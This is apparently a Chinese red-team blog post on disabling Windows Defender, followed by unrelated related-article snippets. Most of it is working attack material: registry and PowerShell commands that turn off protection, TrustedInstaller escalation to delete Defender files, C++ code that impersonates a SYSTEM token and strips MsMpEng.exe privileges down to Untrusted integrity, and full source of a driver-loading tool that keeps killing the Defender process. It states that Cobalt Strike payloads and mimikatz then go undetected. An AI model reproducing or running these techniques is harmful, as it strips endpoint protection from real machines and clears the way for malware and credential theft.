当前位置: 首页 > news >正文

红蓝攻防:浅谈削弱WindowsDefender的各种方式

前言

随着数字技术的日益进步,我们的生活、工作和娱乐越来越依赖于计算机和网络系统。然而,与此同时,恶意软件也日趋猖獗,寻求窃取信息、破坏系统或仅仅为了展现其能力。微软Windows,作为世界上最流行的操作系统,不断受到这些恶意软件的攻击。为了对抗这些潜在的威胁,微软推出了Windows Defender,一款集成于Windows内部的免费反恶意软件工具

本文将深入探讨如何与Windows Defender对抗,以及那些特殊手段是如何被利用来破坏或关闭Defender的。

修改注册表关闭Defender

实现流程

打开注册表,在HKLM\SOFTWARE\Policies\Microsoft\Windows Defender键下有两个名为DisableAntiSpywareDisableAntiVirus的值,当着两个值被置为1时表示关闭Windows Defender的反间谍软件和反病毒功能

image-20230823121723961 image-20230823121730953

启用管理员权限打开cmd,执行如下命令修改注册表:

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t reg_dword /d 1 /f
image-20230823122459298

修改完注册表后还需重启操作系统才算真正的关闭Defender。重启系统后,虽然defender看起来是正常运行的,但是我们上传一个CS马上去它也不会查杀

image-20230823122528707

代码实现

#include <windows.h>
#include <iostream>// 设置注册表键值的函数
bool SetRegistryValue(HKEY hRootKey, LPCSTR subKey, LPCSTR valueName, DWORD data) {HKEY hKey;// 打开指定的注册表键LONG result = RegOpenKeyEx(hRootKey, subKey, 0, KEY_SET_VALUE, &hKey);if (result != ERROR_SUCCESS) {std::cerr << "打开注册表键失败: " << subKey << " 错误码: " << result << std::endl;return false;}// 设置指定的注册表键值result = RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&data, sizeof(DWORD));// 关闭注册表键RegCloseKey(hKey);if (result != ERROR_SUCCESS) {std::cerr << "设置注册表值失败: " << valueName << " 错误码: " << result << std::endl;return false;}return true;
}int main() {const char* subKey = "SOFTWARE\\Policies\\Microsoft\\Windows Defender";// 设置两个注册表键值if (SetRegistryValue(HKEY_LOCAL_MACHINE, subKey, "DisableAntiSpyware", 1) &&SetRegistryValue(HKEY_LOCAL_MACHINE, subKey, "DisableAntiVirus", 1)) {std::cout << "注册表键值设置成功!" << std::endl;} else {std::cerr << "设置注册表键值失败." << std::endl;}return 0;
}

Powershell关闭Defender实时保护

执行如下Powershell命令可以关闭Windows Defender的实时保护

Set-MpPreference -DisableRealtimeMonitoring $true
image-20230721173120971

提权至Trustedinstaller

情景分析

当我们使用system权限尝试删除WindowsDefender的某些核心文件时,会提示权限不足无法删除

image-20230624203426837

这是因为修改WindowsDefender目录里的文件需要TrustedInstaller权限,而我们要做的是将system权限提升至Trustedinstaller

image-20230625204420202

提权操作

使用开源的项目Tokenvator将system权限提升至TrustedInstaller权限,执行如下命令后会弹出一个cmd shell, 查询其所在组可以发现权限为TrustedInstaller

.\Tokenvator.exe
GetTrustedinstaller /Command:c:\windows\system32\cmd.exe
image-20230624204822742

提升至Trustedinstaller权限后即可删除windowsdefender的核心文件

image-20230624205722520

摘除Defender令牌

实现原理

MsMpEng.exe 是 Microsoft Windows Defender 的核心进程,Windows Defender 是 Windows 操作系统自带的反病毒软件。此进程名称代表 Microsoft Malware Protection Engine,它负责在你的计算机上扫描、检测和移除恶意软件,通常此进程是加了PPL保护

image-20230624203033735

使用ProcessHacker查看MsmpEng.exe的完整级别为system

在Windows操作系统中,完整性级别是一个安全特性,它被设计用来防止低权限的进程影响高权限的进程。这是通过对进程和对象(如文件或注册表键)分配完整性级别来实现的。如果一个进程试图修改一个具有比其更高完整性级别的对象,操作将会失败

  • Untrusted (0x0000): 这是最低的完整性级别,通常不会分配给进程。
  • Low (0x1000): 通常用于Web浏览器和其他可能处理不受信任输入的程序。这可以帮助防止恶意软件通过这些程序蔓延到系统的其它部分。
  • Medium (0x2000): 这是普通用户级别的进程默认的完整性级别。除非另有说明,否则大多数进程将运行在此级别。
  • High (0x3000): 这是管理员级别的进程的默认完整性级别。如果用户以管理员身份运行程序,那么该程序将运行在此级别。
  • System (0x4000): 此级别用于操作系统核心和核心模式驱动程序。
  • Protected (0x5000): 这是Windows 8引入的最高完整性级别,用于保护关键的系统进程。这个级别的进程有防篡改保护,并且只能由具有相同或更高完整性级别的进程访问
image-20230624212426260

如果我们将MsmpEng.exe的完整级别降为Untrusted, 那么该进程对计算机资源的访问将十分有限,由于WindowsDefender的核心服务需要某些令牌,降为Untursted级别后这些令牌都会被摘除掉。如下图所示,我将msedge.exe的integrity降为Untrusted后,edge浏览器就无法打开了

image-20230624215809411

实现思路

1.开启Debug权限

通过EnableDebugPrivilege函数开启当前进程的Debug权限,Debug权限允许进程附加到其他进程上以进行调试,以下是EnableDebugPrivilege函数的定义:

  • 调用OpenProcessToken获取传入进程的访问令牌
  • 获取到令牌后,函数调用LookupPrivilegeValue函数以获取SE_DEBUG_NAME特权的本地唯一标识符(LUID)
  • 获取SE_DEBUG_NAME特权的LUID后,函数创建一个TOKEN_PRIVILEGES结构来表示要启用的特权,然后将SE_DEBUG_NAME特权的LUID和启用状态填入到此结构中
  • 调用AdjustTokenPrivileges来调整之前打开的令牌,使其获得SE_DEBUG_NAME特权
// 函数EnableDebugPrivilege用于启用指定进程的调试权限
bool EnableDebugPrivilege(HANDLE ProcHandle, HANDLE* hToken)
{LUID sedebugnameValue; // LUID,用于表示系统特权TOKEN_PRIVILEGES tkp; // 令牌特权结构// 打开当前进程的访问令牌if (!OpenProcessToken(ProcHandle, TOKEN_ALL_ACCESS |TOKEN_QUERY, hToken)){return FALSE;}// 查找 SE_DEBUG_NAME 特权的 LUIDif (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)){CloseHandle(*hToken); // 关闭令牌句柄return false;}tkp.PrivilegeCount = 1; // 设置要调整的特权数量tkp.Privileges[0].Luid = sedebugnameValue; // 要启用的特权的 LUIDtkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 启用该特权// 调整访问令牌的特权if (!AdjustTokenPrivileges(*hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)){return false;}return true; // 返回true表示成功启用调试特权
}

2.获取system权限的令牌

通过获取winlogon.exe进程(该进程以SYSTEM账户运行)的令牌并模拟该用户,这是为了获取到比当前用户更高的权限。

调用OpenProcessToken()函数获取winlogon.exe进程的令牌, 再调用ImpersonateLoggedOnUser函数将使用获取到的令牌模拟用户登录,如果成功,那么在此后的代码执行过程中,将使用该令牌所代表的用户权限。这里因为winlogon.exe通常是以SYSTEM用户身份运行的,所以相当于得到了SYSTEM的权限

wchar_t procname[80] = L"winlogon.exe"; // 目标进程名称
int pid = getpid(procname); // 获取目标进程ID
HANDLE phandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // 打开目标进程HANDLE ptoken;
OpenProcessToken(phandle, TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_DUPLICATE, &ptoken); // 获取目标进程的访问令牌// 尝试以目标用户身份运行
if (ImpersonateLoggedOnUser(ptoken)) {printf("[*] Impersonated System!\n");
}
else {printf("[-] Failed to impersonate System...\n");
}
// 关闭句柄
CloseHandle(phandle);
CloseHandle(ptoken);

3.降低令牌权限

以下代码的主要目的是获取MsMpEng.exe的句柄,启用该进程的调试特权,并通过SetPrivilege()函数移除MsMpEng.exe的大部分权限,这使得Windows Defender丧失了很多能力,包括加载驱动程序、更改系统环境、备份文件等

// 重复上述步骤,但目标进程改为"MsMpEng.exe"
wchar_t procname2[80] = L"MsMpEng.exe";
pid = getpid(procname2);
printf("[*] Killing Defender...\n");
phandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (phandle != INVALID_HANDLE_VALUE) {printf("[*] Opened Target Handle\n");
}
else {printf("[-] Failed to open Process Handle\n");
}
EnableDebugPrivilege(phandle,&ptoken);
// 以下一系列SetPrivilege调用移除了所有特定的权限
SetPrivilege(ptoken, SE_DEBUG_NAME, TRUE);
SetPrivilege(ptoken, SE_CHANGE_NOTIFY_NAME, TRUE);
SetPrivilege(ptoken, SE_TCB_NAME, TRUE);
SetPrivilege(ptoken, SE_IMPERSONATE_NAME, TRUE);
SetPrivilege(ptoken, SE_LOAD_DRIVER_NAME, TRUE);
SetPrivilege(ptoken, SE_RESTORE_NAME, TRUE);
SetPrivilege(ptoken, SE_BACKUP_NAME, TRUE);
SetPrivilege(ptoken, SE_SECURITY_NAME, TRUE);
SetPrivilege(ptoken, SE_SYSTEM_ENVIRONMENT_NAME, TRUE);
SetPrivilege(ptoken, SE_INCREASE_QUOTA_NAME, TRUE);
SetPrivilege(ptoken, SE_TAKE_OWNERSHIP_NAME, TRUE);
SetPrivilege(ptoken, SE_INC_BASE_PRIORITY_NAME, TRUE);
SetPrivilege(ptoken, SE_SHUTDOWN_NAME, TRUE);
SetPrivilege(ptoken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE);
printf("[*] Removed All Privileges\n");
}

4.设置进程完整级别为Untrusted

通过SetTokenInformation()函数将MsMpEng.exe的完整性级别设为Untrusted,这是最低的完整性级别,进一步限制了Windows Defender的能力

// 设置令牌完整性级别为 Untrusted
DWORD integrityLevel = SECURITY_MANDATORY_UNTRUSTED_RID;
SID integrityLevelSid{};
integrityLevelSid.Revision = SID_REVISION;
integrityLevelSid.SubAuthorityCount = 1;
integrityLevelSid.IdentifierAuthority.Value[5] = 16;
integrityLevelSid.SubAuthority[0] = integrityLevel;
TOKEN_MANDATORY_LABEL tokenIntegrityLevel = {};
tokenIntegrityLevel.Label.Attributes = SE_GROUP_INTEGRITY;
tokenIntegrityLevel.Label.Sid = &integrityLevelSid;
if (!SetTokenInformation(ptoken,TokenIntegrityLevel,&tokenIntegrityLevel,sizeof(TOKEN_MANDATORY_LABEL) + GetLengthSid(&integrityLevelSid)))
{printf("SetTokenInformation failed\n");
}
else {printf("[*] Token Integrity set to Untrusted\n");
}

运行测试

在WindowsServer2019上,使用管理员权限执行Kill_WindowsDefender.exe

image-20230624232722573

随后用ProcespsHacker查看MsMpEng.exe的完整级别, 可以发现变成了Untrusted

image-20230624231758421

将WindowsDefender设置为Untrusted级别后,运行mimikatz也不会出现报毒现象

image-20230624233443342

但是这种方法只能在WindowsServer服务器上使用,无法在Windows10及以上版本使用

image-20230625091215423

加载驱动关闭Defender(blackout)

项目描述

blackout项目地址:https://github.com/ZeroMemoryEx/Blackout

Blackout 是一个工具,旨在利用gmer驱动程序来禁用或杀死 EDR 和 AV,特别是那些受到反恶意软件保护的进程。这个工具需要在管理员的上下文中运行,并且可以流畅地绕过 HVCI。

需将驱动程序 Blackout.sys 和可执行文件放于同一路径,随后使用命令 Blackout.exe -p <process_id> 运行

项目分析

此项目主要涉及两个关键的函数,分别是LoadDriverDeviceIoControl

首先我们来看下LoadDriver函数的定义,其目的是用于加载一个内核驱动。驱动的服务名称被命名为"Blackout",随后使用CreateServiceA 创建一个新的内核驱动服务,并启动它

BOOL
LoadDriver(char* driverPath
)
{SC_HANDLE hSCM, hService;const char* serviceName = "Blackout";// Open a handle to the SCM databasehSCM = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);if (hSCM == NULL) {return (1);}// Check if the service already existshService = OpenServiceA(hSCM, serviceName, SERVICE_ALL_ACCESS);if (hService != NULL){printf("Service already exists.\n");// Start the service if it's not runningSERVICE_STATUS serviceStatus;if (!QueryServiceStatus(hService, &serviceStatus)){CloseServiceHandle(hService);CloseServiceHandle(hSCM);return (1);}if (serviceStatus.dwCurrentState == SERVICE_STOPPED){if (!StartServiceA(hService, 0, nullptr)){CloseServiceHandle(hService);CloseServiceHandle(hSCM);return (1);}printf("Starting service...\n");}CloseServiceHandle(hService);CloseServiceHandle(hSCM);return (0);}// Create the servicehService = CreateServiceA(hSCM,serviceName,serviceName,SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_DEMAND_START,SERVICE_ERROR_IGNORE,driverPath,NULL,NULL,NULL,NULL,NULL);if (hService == NULL) {CloseServiceHandle(hSCM);return (1);}printf("Service created successfully.\n");// Start the serviceif (!StartServiceA(hService, 0, nullptr)){CloseServiceHandle(hService);CloseServiceHandle(hSCM);return (1);}printf("Starting service...\n");CloseServiceHandle(hService);CloseServiceHandle(hSCM);return (0);
}

其次看下主函数代码的实现流程,先使用前面定义的LoadDriver函数加载驱动,再使用CreateFile打开驱动并得到其句柄。

得到驱动句柄后使用 DeviceIoControl 函数与驱动通信,发送INITIALIZE_IOCTL_CODE 指令初始化驱动,再发送TERMINSTE_PROCESS_IOCTL_CODE 指令来终止指定的进程

如果所给的进程 ID 对应的进程是 “MsMpEng.exe”(这是 Windows Defender 的进程),则程序会不断尝试终止它,毕竟MsMpEng.exe被杀死后还是会无限复活的

在这里我要补充一点,当调用 CreateFile 打开 “\\.\Blackout” 时,实际上是在尝试打开一个与驱动程序相关联的设备。在Windows中,驱动程序可以创建一个设备并为其分配一个符号链接,这样用户模式的程序可以通过这个符号链接与驱动程序通信,从而允许后续的DeviceIoControl 调用来传递IO控制代码 (IOCTL) 和其他数据到驱动程序中

int
main(int argc,char** argv
) {if (argc != 3) {printf("Invalid number of arguments. Usage: Blackout.exe -p <process_id>\n");return (-1);}if (strcmp(argv[1], "-p") != 0) {printf("Invalid argument. Usage: Blackout.exe -p <process_id>\n");return (-1);}if (!CheckProcess(atoi(argv[2]))){printf("provided process id doesnt exist !!\n");return (-1);}WIN32_FIND_DATAA fileData;HANDLE hFind;char FullDriverPath[MAX_PATH];BOOL once = 1;hFind = FindFirstFileA("Blackout.sys", &fileData);if (hFind != INVALID_HANDLE_VALUE) { // file is foundif (GetFullPathNameA(fileData.cFileName, MAX_PATH, FullDriverPath, NULL) != 0) { // full path is foundprintf("driver path: %s\n", FullDriverPath);}else {printf("path not found !!\n");return(-1);}}else {printf("driver not found !!\n");return(-1);}printf("Loading %s driver .. \n", fileData.cFileName);if (LoadDriver(FullDriverPath)){printf("faild to load driver ,try to run the program as administrator!!\n");return (-1);}printf("driver loaded successfully !!\n");HANDLE hDevice = CreateFile(L"\\\\.\\Blackout", GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (hDevice == INVALID_HANDLE_VALUE) {printf("Failed to open handle to driver !! ");return (-1);}DWORD bytesReturned = 0;DWORD input = atoi(argv[2]);DWORD output[2] = { 0 };DWORD outputSize = sizeof(output);BOOL result = DeviceIoControl(hDevice, INITIALIZE_IOCTL_CODE, &input, sizeof(input), output, outputSize, &bytesReturned, NULL);if (!result){printf("faild to send initializing request %X !!\n", INITIALIZE_IOCTL_CODE);return (-1);}printf("driver initialized %X !!\n", INITIALIZE_IOCTL_CODE);if (GetPID(L"MsMpEng.exe") == input){printf("Terminating Windows Defender ..\nkeep the program running to prevent the service from restarting it\n");while (0x1){if (input = GetPID(L"MsMpEng.exe")){if (!DeviceIoControl(hDevice, TERMINSTE_PROCESS_IOCTL_CODE, &input, sizeof(input), output, outputSize, &bytesReturned, NULL)){printf("DeviceIoControl failed. Error: %X !!\n", GetLastError());CloseHandle(hDevice);return (-1);}if (once){printf("Defender Terminated ..\n");once = 0;}}Sleep(700);}}printf("terminating process !! \n");result = DeviceIoControl(hDevice, TERMINSTE_PROCESS_IOCTL_CODE, &input, sizeof(input), output, outputSize, &bytesReturned, NULL);if (!result){printf("failed to terminate process: %X !!\n", GetLastError());CloseHandle(hDevice);return (-1);}printf("process has been terminated!\n");system("pause");CloseHandle(hDevice);return 0;
}

运行测试

image

参考链接

  • https://www.freebuf.com/articles/network/324952.html
  • https://xz.aliyun.com/t/12280#toc-25

相关文章:

红蓝攻防:浅谈削弱WindowsDefender的各种方式

前言 随着数字技术的日益进步&#xff0c;我们的生活、工作和娱乐越来越依赖于计算机和网络系统。然而&#xff0c;与此同时&#xff0c;恶意软件也日趋猖獗&#xff0c;寻求窃取信息、破坏系统或仅仅为了展现其能力。微软Windows&#xff0c;作为世界上最流行的操作系统&…...

什么是响应式设计(Responsive Design)?如何实现一个响应式网页?

聚沙成塔每天进步一点点 ⭐ 专栏简介⭐ 响应式设计&#xff08;Responsive Design&#xff09;⭐ 如何实现一个响应式网页&#xff1f;1. 弹性网格布局2. 媒体查询3. 弹性图像和媒体4. 流式布局5. 优化导航6. 测试和调整7. 图片优化8. 字体优化9. 渐进增强10. 面向移动优先11. …...

QT之应用程序执行脚本

简介 ● Qt中的类QProcess支持在程序中另外开辟线程 ● 其中start方法支持以字符串为参数执行命令 以Linux平台为例&#xff1a; 方式一&#xff08;后台执行&#xff09; /// /// \brief MainWindow::cmdLine run a linux command with string format in the bash /// \pa…...

学习文档链接

SpringBoot Activiti 完美结合&#xff0c;快速实现工作流&#xff08;最详细版&#xff09; - 知乎 (zhihu.com) easypoi: POI 工具类,Excel的快速导入导出,Excel模板导出,Word模板导出,可以仅仅5行代码就可以完成Excel的导入导出,修改导出格式简单粗暴,快速有效,easypoi值得…...

【Java 高阶】一文精通 Spring MVC - 转换器(五)

&#x1f449;博主介绍&#xff1a; 博主从事应用安全和大数据领域&#xff0c;有8年研发经验&#xff0c;5年面试官经验&#xff0c;Java技术专家&#xff0c;WEB架构师&#xff0c;阿里云专家博主&#xff0c;华为云云享专家&#xff0c;51CTO 专家博主 ⛪️ 个人社区&#x…...

【HSPCIE仿真】输入网表文件(1)基本内容和基本规则

输入网表文件 1. 输入网表文件基本内容2. 输入网表文件示例3. 一些基本规则4. 数值表示5. 压缩文件格式的读取6. 参数和表达式 从HSPICE的仿真流程看&#xff0c;出去初始化配置过程&#xff0c;真正的仿真是从输入网表文件开始的。 HSPICE 根据输入网表文件&#xff08; inpu…...

IBM Db2 笔记

目录 1. IBM Db2 笔记1.1. 常用命令1.2. 登录命令行模式 (Using the Db2 command line processor)1.3. issue1.3.1. db2: command not found/SQL10007N Message "-1390" could not be retreived. Reason code: "3".1.3.2. db2 修改 dbm cfg 的时候报 SQL50…...

【Cortex-M3权威指南】学习笔记2 - 指令集

目录 指令集汇编语言基础UAL 近距离检视指令数据传输数据处理子程呼叫与无条件跳转指令标志位与条件转移指令隔离指令饱和运算 CM3 中新引入指令MRS\MSRIF-THENCBZ/CBNZSDIV/UDIVREV RBITSXTBTBB,TBH 指令集 汇编语言基础 一条简单的汇编指令格式&#xff08;注释使用一个分号…...

Java——一个Java实体类,表示一个试题的模型

这段代码是一个Java实体类&#xff0c;表示一个试题的模型。 该实体类具有以下属性&#xff1a; id&#xff1a;题号&#xff0c;表示试题的编号。title&#xff1a;题目&#xff0c;表示试题的题目内容。optionA&#xff1a;选项A&#xff0c;表示试题的选项A。optionB&#…...

PHP8函数的引用和取消-PHP8知识详解

今天分享的是php8函数的引用和取消&#xff0c;不过在PHP官方的参考手册中&#xff0c;已经删除了此类教程。 1、函数的引用 在PHP8中不管是自定义函数还是内置函数&#xff0c;都可以直接简单的通过函数名调佣。函数的引用大致有下面3种&#xff1a; 1.1、如果是PHP的内置函…...

华为OD机试真题【最大利润】

1、题目描述 【最大利润】 商人经营一家店铺&#xff0c;有number种商品&#xff0c;由于仓库限制每件商品的最大持有数量是item[index] 每种商品的价格是item-price[item_index][day] 通过对商品的买进和卖出获取利润 请给出商人在days天内能获取的最大的利润 注&#xff1a;…...

YOLOv5+deepsort实现目标追踪。(附有各种错误解决办法)

一、YOLOv5算法相关配置 🐸这里如果是自己只想跑一跑YOLOV5的话,可以参考本章节。只想跑通YOLOv5+deepsort的看官移步到下一章节。 1.1 yolov5下载 🐸yolov5源码在github下载地址上或者Gitee上面都有。需要注意的是由于yolov5的代码库作者一直在维护,所以下载的时候需…...

java.8 - java -overrideoverload 重写和重载

重写(Override) 重写是子类对父类的允许访问的方法的实现过程进行重新编写, 返回值和形参都不能改变。即外壳不变&#xff0c;核心重写&#xff01; 重写的好处在于子类可以根据需要&#xff0c;定义特定于自己的行为。 也就是说子类能够根据需要实现父类的方法。 重写方法不…...

oracle通配符大全

用于where比较条件的有 &#xff1a; 等于&#xff1a;、<、<、>、>、<> >,<:大于&#xff0c;小于 >.<:大于等于&#xff0c;小于等于 :等于 !,<>,^:不等于 包含&#xff1a;in、not in exists、not exists 范围&#xff1a;betwe…...

浏览器开发者工具平台js代码开启展开收起

1、如下js左侧可以展开和收起段落&#xff0c;需要打开右上角的设置 2、Preferences这里勾选Code folding 即可像上面那张图展开和收起js段落代码 3、然后重新打开开发者工具&#xff0c;随意打开一个js文件&#xff0c;这里就有缩放了...

opencv 案例实战01-停车场车牌识别实战

需求分析&#xff1a; 车牌识别技术主要应用领域有停车场收费管理&#xff0c;交通流量控制指标测量&#xff0c;车辆定位&#xff0c;汽车防盗&#xff0c;高速公路超速自动化监管、闯红灯电子警察、公路收费站等等功能。对于维护交通安全和城市治安&#xff0c;防止交通堵塞…...

【PHP】PHP开发教程-PHP开发环境安装

1、PHP简单介绍 PHP&#xff08;全称&#xff1a;Hypertext Preprocessor&#xff09;是一种广泛使用的开放源代码脚本语言&#xff0c;特别适用于Web开发。它嵌入在HTML中&#xff0c;通过在HTML文档中添加PHP标记和脚本&#xff0c;可以生成动态的、个性化的Web页面。 PHP最…...

AURIX TriCore内核架构学习笔记

名词缩写 ISA - Instruction Set Architecture&#xff0c;指令集架构PC - Program Counter, holds the address of the instruction that is currently runningGPRs - 32 General Purpose RegistersPSW - Program Status WordPCXI - Previous Context InformationCSA - Conte…...

VMware ESXi 7.0 优化VMFSL磁盘占用与系统存储大小

文章目录 VMware ESXi 7.0 优化VMFSL磁盘占用与系统存储大小引言创建ESXi7.0可启动 U 盘结果检查VMware ESXi 7.0 优化VMFSL磁盘占用与系统存储大小 引言 本文讲述了在 J1900平台上安装ESXi7.0时减少 VMFSL 分区占用的说明, 通常这来说些主机内置的磁盘空间非常小, 采用默认安…...

4.网络设计与redis、memcached、nginx组件(二)

系列文章目录 第四章 网络设计与redis、memcached、nginx组件(一) 第五章 网络设计与redis、memcached、nginx组件(二) 文章目录 系列文章目录[TOC](文章目录) 前言一、reactor模型&#xff1f;二、Reactor 开发1.建立连接 三、典型reactor 模型单reactor 模型典型 readisradi…...

web vue 项目 Docker化部署

Web 项目 Docker 化部署详细教程 目录 Web 项目 Docker 化部署概述Dockerfile 详解 构建阶段生产阶段 构建和运行 Docker 镜像 1. Web 项目 Docker 化部署概述 Docker 化部署的主要步骤分为以下几个阶段&#xff1a; 构建阶段&#xff08;Build Stage&#xff09;&#xff1a…...

MPNet:旋转机械轻量化故障诊断模型详解python代码复现

目录 一、问题背景与挑战 二、MPNet核心架构 2.1 多分支特征融合模块(MBFM) 2.2 残差注意力金字塔模块(RAPM) 2.2.1 空间金字塔注意力(SPA) 2.2.2 金字塔残差块(PRBlock) 2.3 分类器设计 三、关键技术突破 3.1 多尺度特征融合 3.2 轻量化设计策略 3.3 抗噪声…...

Java 语言特性(面试系列1)

一、面向对象编程 1. 封装&#xff08;Encapsulation&#xff09; 定义&#xff1a;将数据&#xff08;属性&#xff09;和操作数据的方法绑定在一起&#xff0c;通过访问控制符&#xff08;private、protected、public&#xff09;隐藏内部实现细节。示例&#xff1a; public …...

cf2117E

原题链接&#xff1a;https://codeforces.com/contest/2117/problem/E 题目背景&#xff1a; 给定两个数组a,b&#xff0c;可以执行多次以下操作&#xff1a;选择 i (1 < i < n - 1)&#xff0c;并设置 或&#xff0c;也可以在执行上述操作前执行一次删除任意 和 。求…...

P3 QT项目----记事本(3.8)

3.8 记事本项目总结 项目源码 1.main.cpp #include "widget.h" #include <QApplication> int main(int argc, char *argv[]) {QApplication a(argc, argv);Widget w;w.show();return a.exec(); } 2.widget.cpp #include "widget.h" #include &q…...

CocosCreator 之 JavaScript/TypeScript和Java的相互交互

引擎版本&#xff1a; 3.8.1 语言&#xff1a; JavaScript/TypeScript、C、Java 环境&#xff1a;Window 参考&#xff1a;Java原生反射机制 您好&#xff0c;我是鹤九日&#xff01; 回顾 在上篇文章中&#xff1a;CocosCreator Android项目接入UnityAds 广告SDK。 我们简单讲…...

Swagger和OpenApi的前世今生

Swagger与OpenAPI的关系演进是API标准化进程中的重要篇章&#xff0c;二者共同塑造了现代RESTful API的开发范式。 本期就扒一扒其技术演进的关键节点与核心逻辑&#xff1a; &#x1f504; 一、起源与初创期&#xff1a;Swagger的诞生&#xff08;2010-2014&#xff09; 核心…...

基于Java Swing的电子通讯录设计与实现:附系统托盘功能代码详解

JAVASQL电子通讯录带系统托盘 一、系统概述 本电子通讯录系统采用Java Swing开发桌面应用&#xff0c;结合SQLite数据库实现联系人管理功能&#xff0c;并集成系统托盘功能提升用户体验。系统支持联系人的增删改查、分组管理、搜索过滤等功能&#xff0c;同时可以最小化到系统…...

基于Java+MySQL实现(GUI)客户管理系统

客户资料管理系统的设计与实现 第一章 需求分析 1.1 需求总体介绍 本项目为了方便维护客户信息为了方便维护客户信息&#xff0c;对客户进行统一管理&#xff0c;可以把所有客户信息录入系统&#xff0c;进行维护和统计功能。可通过文件的方式保存相关录入数据&#xff0c;对…...

2025年渗透测试面试题总结-腾讯[实习]科恩实验室-安全工程师(题目+回答)

安全领域各种资源&#xff0c;学习文档&#xff0c;以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具&#xff0c;欢迎关注。 目录 腾讯[实习]科恩实验室-安全工程师 一、网络与协议 1. TCP三次握手 2. SYN扫描原理 3. HTTPS证书机制 二…...